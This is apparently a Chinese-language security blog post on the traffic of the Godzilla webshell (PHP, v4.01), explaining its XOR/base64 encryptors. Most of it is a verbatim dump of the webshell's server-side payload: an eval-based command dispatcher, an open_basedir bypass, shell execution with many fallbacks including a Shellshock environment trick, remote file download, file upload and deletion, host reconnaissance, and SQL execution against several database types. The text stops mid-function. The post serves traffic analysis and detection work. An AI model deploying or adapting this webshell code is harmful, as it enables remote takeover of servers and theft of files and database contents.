Godzilla -- 从三种自带加密器看哥斯拉流量-PHP篇
文前漫谈
Godzilla - designed by @BeichenDreams
本文记录我对哥斯拉流量的学习，主要分析了php版的shell流量加密解密过程，使用的是当前最新版本的哥斯拉，版本号为v4.01。
三种自带的加密器
生成Godzillz默认的服务端webshell，自带有三种加密器：
- PHP_EVAL_XOR_BASE64
- PHP_XOR_BASE64
- PHP_XOR_RAW
PHP_XOR_BASE64加密器
笔者觉得应该从这种加密器先讲起，后面的PHP_EVAL_XOR_BASE64等加密器实现原理和它都相同，只是传输形式上的差别。
从http请求的角度看，PHP_XOR_BASE64加密器和PHP_EVAL_XOR_BASE64加密器的区别就是，命令执行的过程中，PHP_XOR_BASE64加密器的http请求正文长度（payload）更短，PHP_EVAL_XOR_BASE64加密器生成的shell服务端的内容就是一句话木马，这个加密器其实还是调用``PHP_XOR_BASE64`加密器的webshell脚本
用Godzilla的
PHP_XOR_BASE64加密器生成的webshell内容
整个shell的基本流程就是：服务器接收到哥斯拉发送的第一个请求后，如果此时尚未建立session，将POST请求数据解密后（得到的内容为后续shell操作中所需要用到的相关php函数定义代码）存入session文件中，会话建立完成后，后续哥斯拉只会提交相关操作对应的函数名称和相关参数，这样哥斯拉的命令执行就不需要发送大量的请求数据。
这里的@run()函数是关键，后续的命令执行都以这个函数为入口
存储哥斯拉自定义命令执行函数的session文件
... 关键代码块
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
...
当http请求包post的内容没有getBasicsInfo字段的话，把post内容写入session文件，这个http请求包通常在我们点击哥斯拉的“测试连接”和进入webshell管理页面的时候发送
成功写入后，服务器端的session文件，以文件的形式存储在php.ini中设置的路径里
玩过session反序列化的应该更容易理解，简单说这里储存的就是下面的文件，这里才是哥斯拉命令执行的关键，代码很长，都是哥斯拉自定义的系统函数，getBasicsInfo()函数也在其中。下面我只介绍两个关键的函数，就是webshell里的@run()函数和@evalFunc()。
run()函数涉及到后续解密所需的内容，evalFunc()函数是执行命令的地方
@符号用于抑制错误消息的输出。当在一个函数或表达式前面加上@符号时，如果该函数或表达式产生了错误，那么这个错误就不会被报告到PHP解析器，也就不会打印出来。这种错误处理方式通常被称为“静默失败”，因为它会使得错误信息不会被显示在屏幕上，也无法通过日志文件进行跟踪和调试。使用@符号可以隐藏错误。这里是为了处理webshell里未定义run()函数的报错
$parameters=array();
$_SES=array();
function run($pms){
global $ERRMSG;
reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
function payloadExceptionHandler($exception){
global $ERRMSG;
$ERRMSG.="ExceptionMsg:".$exception->getMessage()."\r\n";
return true;
}
function payloadErrorHandler($errno, $errstr, $errfile=null, $errline=null,$errcontext=null){
global $ERRMSG;
$ERRMSG.="ErrLine: {$errline} ErrorMsg:{$errstr}\r\n";
return true;
}
function S1MiwYYr($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[($i+1)%15];
}
return $D;
}
function reDefSystemFunc(){
if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
$f = @fopen($file,"rb");
$contents = false;
if ($f) {
do { $contents .= fgets($f,1024*1024); } while (!feof($f));
}
fclose($f);
return $contents;
}
}
if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
function gzdecode($data)
{
return gzinflate(substr($data,10,-8));
}
}
if (!function_exists("sys_get_temp_dir")){
function sys_get_temp_dir(){
$SCRIPT_FILENAME=dirname(__FILE__);
if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
return "C:/Windows/Temp/";
}else{
return "/tmp/";
}
}
}
if (!function_exists("getmygid")){
function getmygid(){
return 0;
}
}
if (!function_exists("scandir")){
function scandir($directory){
$dh = opendir($directory);
if ($dh!==false){
$files=array();
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
@closedir($dh);
return $files;
}
return false;
}
}
if (!function_exists("file_put_contents")){
function file_put_contents($fileName, $data){
$handle=fopen($fileName,"wb");
if ($handle!==false){
$len=fwrite($handle,$data);
return $len;
@fclose($handle);
}else{
return false;
}
}
}
if (!function_exists("is_executable")){
function is_executable($fileName){
return false;
}
}
}
function &getSession(){
global $_SES;
return $_SES;
}
function bypass_open_basedir(){
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
$allFiles = @scandir($_FILENAME);
$cdStatus=false;
if ($allFiles!=null){
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
if (@is_dir($fileName)){
if (@chdir($fileName)===true){
$cdStatus=true;
break;
}
}
}
}
}
if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
@mkdir('bypass_open_basedir');
}
if (!$cdStatus){
@chdir('bypass_open_basedir');
}
@ini_set('open_basedir','..');
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
@$_path = str_replace("\\",'/',$_FILENAME);
@$_num = substr_count($_path,'/') + 1;
$_i = 0;
while($_i < $_num){
@chdir('..');
$_i++;
}
@ini_set('open_basedir','/');
if (!$cdStatus){
@rmdir($_FILENAME.'/'.'bypass_open_basedir');
}
}
function formatParameter($pms){
global $parameters;
$index=0;
$key=null;
while (true){
$q=$pms[$index];
if (ord($q)==0x02){
$len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
$index+=4;
$value=substr($pms,$index+1,$len);
$index+=$len;
$parameters[$key]=$value;
$key=null;
}else{
$key.=$q;
}
$index++;
if ($index>strlen($pms)-1){
break;
}
}
}
function evalFunc(){
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
$_SES=&getSession();
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SES[$className])){
return eval($_SES[$className]);
}else{
return "{$className} no load";
}
}
}else{
if (function_exists($methodName)){
return $methodName();
}else{
return "function {$methodName} not exist";
}
}
}else{
return "methodName Is Null";
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function setFileAttr(){
$type = get("type");
$attr = get("attr");
$fileName = get("fileName");
$ret = "Null";
if ($type!=null&&$attr!=null&&$fileName!=null) {
if ($type=="fileBasicAttr"){
if (@chmod($fileName,convertFilePermissions($attr))){
return "ok";
}else{
return "fail";
}
}else if ($type=="fileTimeAttr"){
if (@touch($fileName,$attr)){
return "ok";
}else{
return "fail";
}
}else{
return "no ExcuteType";
}
}else{
$ret="type or attr or fileName is null";
}
return $ret;
}
function fileRemoteDown(){
$url=get("url");
$saveFile=get("saveFile");
if ($url!=null&&$saveFile!=null) {
$data=@file_get_contents($url);
if ($data!==false){
if (@file_put_contents($saveFile,$data)!==false){
@chmod($saveFile,0777);
return "ok";
}else{
return "write fail";
}
}else{
return "read fail";
}
}else{
return "url or saveFile is null";
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
$data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
$data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
$data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
$data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['disable_functions'] = @ini_get('disable_functions');
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['Open_basedir'] = @ini_get('open_basedir');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$tmpDir=sys_get_temp_dir();
$separator=substr($tmpDir,strlen($tmpDir)-1,1);
if ($separator!='\\'&&$separator!='/'){
$tmpDir=$tmpDir.'/';
}
$data['systempdir'] = $tmpDir;
$data['include_path'] = @ini_get('include_path');
$data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['PHP_INT_SIZE'] = PHP_INT_SIZE;
$data['ProcessArch'] = PHP_INT_SIZE==8?"x64":"x86";
$data['PHP_OS'] = PHP_OS;
$data['canCallGzipDecode'] = canCallGzipDecode();
$data['canCallGzipEncode'] = canCallGzipEncode();
$data['session_name'] = @ini_get("session.name");
$data['session_save_path'] = @ini_get("session.save_path");
$data['session_save_handler'] = @ini_get("session.save_handler");
$data['session_serialize_handler'] = @ini_get("session.serialize_handler");
$data['user_ini_filename'] = @ini_get("user_ini.filename");
$data['memory_limit'] = @ini_get('memory_limit');
$data['upload_max_filesize'] = @ini_get('upload_max_filesize');
$data['post_max_size'] = @ini_get('post_max_size');
$data['max_execution_time'] = @ini_get('max_execution_time');
$data['max_input_time'] = @ini_get('max_input_time');
$data['default_socket_timeout'] = @ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
if (strlen(trim($data['CurrentDir']))==0){
$data['CurrentDir'] = str_replace('\\', '/', @dirname(__FILE__));
}
$SCRIPT_FILENAME=@dirname(__FILE__);
$data['FileRoot'] = '';
if (substr($SCRIPT_FILENAME, 0, 1) != '/') {
$drivers=array('C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
foreach ($drivers as $L){
if (@is_dir("{$L}:/")){
$data['FileRoot'] .= "{$L}:/;";}
}
if (empty($data['FileRoot'])){
$data['FileRoot']=substr($SCRIPT_FILENAME,0,3);
}
}else{
$data['FileRoot'] .= "/";
}
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}
}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (function_existsEx("is_readable")){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
@chmod($fileName,0777);
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}
function function_existsEx($functionName){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}
function execCommand(){
@ob_start();
$cmdLine=get("cmdLine");
if(substr(__FILE__,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$result="";
if (!function_existsEx("runshellshock")){
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_existsEx('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
return $output;
}
}
return False;
};
}
if(function_existsEx('system')){
@system($cmdLine,$ret);
}elseif(function_existsEx('passthru')){
$result=@passthru($cmdLine,$ret);
}elseif(function_existsEx('shell_exec')){
$result=@shell_exec($cmdLine);
}elseif(function_existsEx('exec')){
@exec($cmdLine,$o,$ret);
$result=join("\n",$o);
}elseif(function_existsEx('popen')){
$fp=@popen($cmdLine,'r');
while(!@feof($fp)){
$result.=@fgets($fp,1024*1024);
}
@pclose($fp);
}elseif(function_existsEx('proc_open')){
$p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
$result.=@fgets($io[1],1024*1024);
}
while(!@feof($io[2])){
$result.=@fgets($io[2],1024*1024);
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($cmdLine);
$so=$e->StdOut();
$result.=$so->ReadAll();
$se=$e->StdErr();
$result.=$se->ReadAll();
}elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){
$cmd="/bin/bash";
if (!file_exists($cmd)){
$cmd="/bin/sh";
}
$commandFile=sys_get_temp_dir()."/".time().".log";
$resultFile=sys_get_temp_dir()."/".(time()+1).".log";
@file_put_contents($commandFile,$cmdLine);
switch (pcntl_fork()) {
case 0:
$args = array("-c", "$cmdLine > $resultFile");
pcntl_exec($cmd, $args);
// the child will only reach this point on exec failure,
// because execution shifts to the pcntl_exec()ed command
exit(0);
default:
break;
}
if (!file_exists($resultFile)){
sleep(2);
}
$result=file_get_contents($resultFile);
@unlink($commandFile);
@unlink($resultFile);
}elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) {
}else{
return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available";
}
$result .= @ob_get_contents();
@ob_end_clean();
return $result;
}
function execSql(){
$dbType=get("dbType");
$dbHost=get("dbHost");
$dbPort=get("dbPort");
$username=get("dbUsername");
$password=get("dbPassword");
$execType=get("execType");
$execSql=get("execSql");
$charset=get("dbCharset");
$currentDb=get("currentDb");
function mysqli_exec($host,$port,$username,$password,$execType,$currentDb,$sql,$charset){
// 创建连接
$conn = new mysqli($host,$username,$password,"",$port);
// Check connection
if ($conn->connect_error) {
return $conn->connect_error;
}
if (!empty($charset)){
$conn->set_charset($charset);
}
if (!empty($currentDb)){
$conn->select_db($currentDb);
}
$result = $conn->query($sql);
if ($conn->error){
return $conn->error;
}
if ($execType=="update"){
return "Query OK, ".$conn->affected_rows." rows affected";
}else{
$data="ok\n";
while ($column = $result->fetch_field()){
$data.=base64_encode($column->name)."\t";
}
$data.="\n";
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
foreach ($row as $value){
$data.=base64_encode($value)."\t";
}
$data.="\n";
}
}
return $data;
}
}
function mysql_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset) {
$con = @mysql_connect($host.":".$port, $username, $password);
if (!$con) {
return mysql_error();
} else {
if (!empty($charset)){
mysql_set_charset($charset,$con);
}
if (!empty($currentDb)){
if (function_existsEx("mysql_selectdb")){
mysql_selectdb($currentDb,$con);
}elseif (function_existsEx("mysql_select_db")){
mysql_select_db($currentDb,$con);
}
}
$result = @mysql_query($sql);
if (!$result) {
return mysql_error();
}
if ($execType == "update") {
return "Query OK, ".mysql_affected_rows($con)." rows affected";
} else {
$data = "ok\n";
for ($i = 0; $i < mysql_num_fields($result); $i++) {
$data.= base64_encode(mysql_field_name($result, $i))."\t";
}
$data.= "\n";
$rowNum = mysql_num_rows($result);
if ($rowNum > 0) {
while ($row = mysql_fetch_row($result)) {
foreach($row as $value) {
$data.= base64_encode($value)."\t";
}
$data.= "\n";
}
}
}
@mysql_close($con);
return $data;
}
}
function mysqliEx_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset){
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($host,$username,$password,"",$port);
if (!empty($charset)){
@mysqli_set_charset($charset);
}
if (!empty($currentDb)){
@mysqli_select_db($T,$currentDb);
}
$q=@mysqli_query($T,$sql);
if(is_bool($q)){
return mysqli_error($T);
}else{
if (mysqli_num_fields($q)>0){
$i=0;
$data = "ok\n";
while($col=@mysqli_fetch_field($q)){
$data.=base64_encode($col->name)."\t";
$i++;
}
$data.="\n";
while($rs=@mysqli_fetch_row($q)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.="\n";
}
return $data;
}else{
return "Query OK, ".@mysqli_affected_rows($T)." rows affected";
}
}
}
function pg_execEx($host, $port, $username, $password, $execType,$currentDb, $sql,$charset){
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$username,
'password'=>$password
);
if (!empty($currentDb)){
$arr["dbname"]=$currentDb;
}
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
return @pg_last_error();
}else{
if (!empty($charset)){
@pg_set_client_encoding($T,$charset);
}
$q=@pg_query($T, $sql);
if(!$q){
return @pg_last_error();
}else{
$n=@pg_num_fields($q);
if($n===NULL){
return @pg_last_error();
}elseif($n===0){
return "Query OK, ".@pg_affected_rows($q)." rows affected";
}else{
$data = "ok\n";
for($i=0;$i<$n;$i++){
$data.=base64_encode(@pg_field_name($q,$i))."\t";
}
$data.= "\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
$data.=base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t";
}
$data.= "\n";
}
return $data;
}
}
}
}
function sqlsrv_exec($host, $port, $username, $password, $execType, $currentDb,$sql){
$dbConfig=array("UID"=> $username,"PWD"=>$password);
if (!empty($currentDb)){
$dbConfig["Database"]=$currentDb;
}
$T=@sqlsrv_connect($host,$dbConfig);
$q=@sqlsrv_query($T,$sql,null);
if($q!==false){
$i=0;
$fm=@sqlsrv_field_metadata($q);
if(empty($fm)){
$ar=@sqlsrv_rows_affected($q);
return "Query OK, ".$ar." rows affected";
}else{
$data = "ok\n";
foreach($fm as $rs){
$data.=base64_encode($rs['Name'])."\t";
$i++;
}
$data.= "\n";
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.= "\n";
}
return $data;
}
}else{
$err="";
if(($e = sqlsrv_errors()) != null){
foreach($e as $v){
$err.=($e['message'])."\n";
}
}
return $err;
}
}
function mssql_exec($host, $port, $username, $password, $execType,$currentDb, $sql){
$T=@mssql_connect($host,$username,$password);
if (!empty($currentDb)){
@mssql_select_db($currentDb);
}
$q=@mssql_query($sql,$T);
if(is_bool($q)){
return "Query OK, ".@mssql_rows_affected($T)." rows affected";
}else{
$data = "ok\n";
$i=0;
while($rs=@mssql_fetch_field($q)){
$data.=base64_encode($rs->name)."\t";
$i++;
}
$data.="\n";
while($rs=@mssql_fetch_row($q)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.="\n";
}
@mssql_free_result($q);
@mssql_close($T);
return $data;
}
}
function oci_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$chs = $charset ? $charset : "utf8";
$mod = 0;
$H = @oci_connect($username, $password, $host, $chs, $mod);
if (!$H) {
$errObj=@oci_error();
return $errObj["message"];
} else {
$q = @oci_parse($H, $sql);
if (@oci_execute($q)) {
$n = oci_num_fields($q);
if ($n == 0) {
return "Query OK, ".@oci_num_rows($q)." rows affected";
} else {
$data = "ok\n";
for ($i = 1; $i <= $n; $i++) {
$data.= base64_encode(oci_field_name($q, $i))."\t";
}
$data.= "\n";
while ($row = @oci_fetch_array($q, OCI_ASSOC + OCI_RETURN_NULLS)) {
foreach($row as $item) {
$data.= base64_encode($item !== null ? base64_encode($item) : ""). "\t";
}
$data.= "\n";
}
return $data;
}
} else {
$e = @oci_error($q);
if ($e) {
return "ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}";
} else {
return "false";
}
}
}
}
function ora_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$H = @ora_plogon("{$username}@{$host}", "{$password}");
if (!$H) {
return "Login Failed!";
} else {
$T = @ora_open($H);
@ora_commitoff($H);
$q = @ora_parse($T, "{$sql}");
$R = ora_exec($T);
if ($R) {
$n = ora_numcols($T);
$data="ok\n";
for ($i = 0; $i < $n; $i++) {
$data.=base64_encode(Ora_ColumnName($T, $i))."\t";
}
$data.="\n";
while (ora_fetch($T)) {
for ($i = 0; $i < $n; $i++) {
$data.=base64_encode(trim(ora_getcolumn($T, $i)))."\t";
}
$data.="\n";
}
return $data;
} else {
return "false";
}
}
}
function sqlite_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
$dbh=new SQLite3($host);
if(!$dbh){
return "ERROR://CONNECT ERROR".SQLite3::lastErrorMsg();
}else{
$stmt=$dbh->prepare($sql);
if(!$stmt){
return "ERROR://".$dbh->lastErrorMsg();
} else {
$result=$stmt->execute();
if(!$result){
return $dbh->lastErrorMsg();
}else{
$bool=True;
$data="ok\n";
while($res=$result->fetchArray(SQLITE3_ASSOC)){
if($bool){
foreach($res as $key=>$value){
$data.=base64_encode($key)."\t";
}
$bool=False;
$data.="\n";
}
foreach($res as $key=>$value){
$data.=base64_encode($value!==NULL?$value:"NULL")."\t";
}
$data.="\n";
}
if($bool){
if(!$result->numColumns()){
return "Query OK, ".$dbh->changes()." rows affected";
}else{
return "ERROR://Table is empty.";
}
}else{
return $data;
}
}
}
$dbh->close();
}
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$currentDb,$sql){
$conn=null;
if ($databaseType==="oracle"){
$databaseType="orcl";
}
if (strpos($host,"=")!==false){
$conn = new PDO($host, $username, $password);
}else if (!empty($currentDb)){
$conn = new PDO("{$databaseType}:host=$host;port={$port};dbname={$currentDb}", $username, $password);
}else{
$conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
}
$conn->setAttribute(3, 0);
if ($execType=="update"){
$affectRows=$conn->exec($sql);
if ($affectRows!==false){
return "Query OK, ".$conn->exec($sql)." rows affected";
}else{
return "Err->\n".implode(',',$conn->errorInfo());
}
}else{
$data="ok\n";
$stm=$conn->prepare($sql);
if ($stm->execute()){
$row=$stm->fetch(2);
$_row="\n";
foreach (array_keys($row) as $key){
$data.=base64_encode($key)."\t";
$_row.=base64_encode($row[$key])."\t";
}
$data.=$_row."\n";
while ($row=$stm->fetch(2)){
foreach (array_keys($row) as $key){
$data.=base64_encode($row[$key])."\t";
}
$data.="\n";
}
return $data;
}else{
return "Err->\n".implode(',',$stm->errorInfo());
}
}
}
if ($dbType=="mysql"&&(class_exists("mysqli")||function_existsEx("mysql_connect")||function_existsEx("mysqli_connect"))){
if (class_exists("mysqli")){
return mysqli_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}elseif (function_existsEx("mysql_connect")){
return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}else if (function_existsEx("mysqli_connect")){
return mysqliEx_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="postgresql"&&function_existsEx("pg_connect")){
if (function_existsEx("pg_connect")){
return pg_execEx($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="sqlserver"&&(function_existsEx("sqlsrv_connect")||function_existsEx("mssql_connect"))){
if (function_existsEx("sqlsrv_connect")){
return sqlsrv_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}elseif (function_existsEx("mssql_connect")){
return mssql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}
}elseif ($dbType=="oracle"&&(function_existsEx("oci_connect")||function_existsEx("ora_plogon"))){
if (function_existsEx("oci_connect")){
return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}else if (function_existsEx("ora_plogon")){
return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
}elseif ($dbType=="sqlite"&&class_exists("SQLite3")){
return sqlite_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
}
if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
}else{
return "no extension";
}
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function getAllParameters(){
global $parameters;
return $parameters;
}
function includeCode(){
$classCode=get("binCode");
$codeName=get("codeName");
$_SES=&getSession();
$_SES[$codeName]=$classCode;
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
function convertFilePermissions($fileAttr){
$mod=0;
if (strpos($fileAttr,'R')!==false){
$mod=$mod+0444;
}
if (strpos($fileAttr,'W')!==false){
$mod=$mod+0222;
}
if (strpos($fileAttr,'X')!==false){
$mod=$mod+0111;
}
return $mod;
}
function g_close(){
@session_start();
$_SES=&getSession();
$_SES=null;
if (@session_destroy()){
return "ok";
}else{
return "fail!";
}
}
function bigFileDownload(){
$mode=get("mode");
$fileName=get("fileName");
$readByteNum=get("readByteNum");
$position=get("position");
if ($mode=="fileSize"){
return @filesize($fileName)."";
}elseif ($mode=="read"){
if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
$handle=fopen($fileName,"rb");
if ($handle!==false){
@fseek($handle,$position);
$data=fread($handle,$readByteNum);
@fclose($handle);
if ($data!==false){
return $data;
}else{
return "cannot read file";
}
}else{
return "cannot open file";
}
}else if (function_existsEx("file_get_contents")){
return file_get_contents($fileName,false,null,$position,$readByteNum);
}else{
return "no function";
}
}else{
return "no mode";
}
}
function bigFileUpload(){
$fileName=get("fileName");
$fileContents=get("fileContents");
$position=get("position");
if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab");
if ($handle!==false){
fseek($handle,$position);
$len=fwrite($handle,$fileContents);
@fclose($handle);
if ($len!==false){
return "ok";
}else{
return "cannot write file";
}
}else{
return "cannot open file";
}
}else if (function_existsEx("file_put_contents")){
if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
return "ok";
}else{
return "writer fail";
}
}else{
return "no function";
}
}
function canCallGzipEncode(){
if (function_existsEx("gzencode")){
return "1";
}else{
return "0";
}
}
function canCallGzipDecode(){
if (function_existsEx("gzdecode")){
return "1";
}else{
return "0";
}
}
function bytesToInteger($bytes, $position) {
$val = 0;
